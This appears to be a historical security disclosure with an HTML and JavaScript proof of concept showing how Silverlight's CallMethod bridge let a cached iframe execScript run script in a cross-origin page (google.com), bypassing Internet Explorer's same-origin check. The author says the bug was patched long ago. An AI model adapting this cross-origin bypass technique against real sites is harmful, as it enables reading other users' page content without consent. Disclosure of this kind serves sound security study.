Caching a reference to an iframe’s execScript method, navigating the iframe to a cross-origin page, and then invoking the cached method via Silverlight’s ScriptObject.CallMethod bypasses the same-origin check that normally prevents calling a cross-origin window’s execScript. Calling it directly from JS throws ACCESS_DENIED; calling it through Silverlight’s managed bridge does not.
<object id="oSilverlight" data="data:application/x-silverlight,"
type="application/x-silverlight-2" width="330" height="90">
<param name="source" value="JSMethodCache.xap"/>
<param name="enableHtmlAccess" value="true" />
<param name="onLoad" value="main" />
</object>
<iframe></iframe>
<script language="JavaScript">
var cached_execScript = null;
function main()
{
// The cache must be set FROM INSIDE the iframe's own trident to get the real pointer,
// not a proxied one. This is not a bug itself — it's just how the cache must be built.
window[0].execScript('parent.cached_execScript = execScript');
// Navigate the iframe cross-origin
window[0].location = "http://www.google.com";
setTimeout("useCachedMethod()",4000);
}
function useCachedMethod()
{
// Invoke cached_execScript on Google's window via Silverlight's CallMethod
document.getElementById("oSilverlight").Content.bridge.CallMethod(
cached_execScript,
"alert(document.body.innerText)"
);
}
</script>
The Silverlight CallMethod bridge invokes the cached function pointer without going through JavaScript’s same-origin check, effectively running execScript in Google’s context. To re-run the PoC, press Enter in the address bar rather than reloading, since a full reload would let Google load before the cache is set.
Found during my years at Microsoft (2006–2014). These bugs were patched long ago — shared here as a historical record for learning purposes.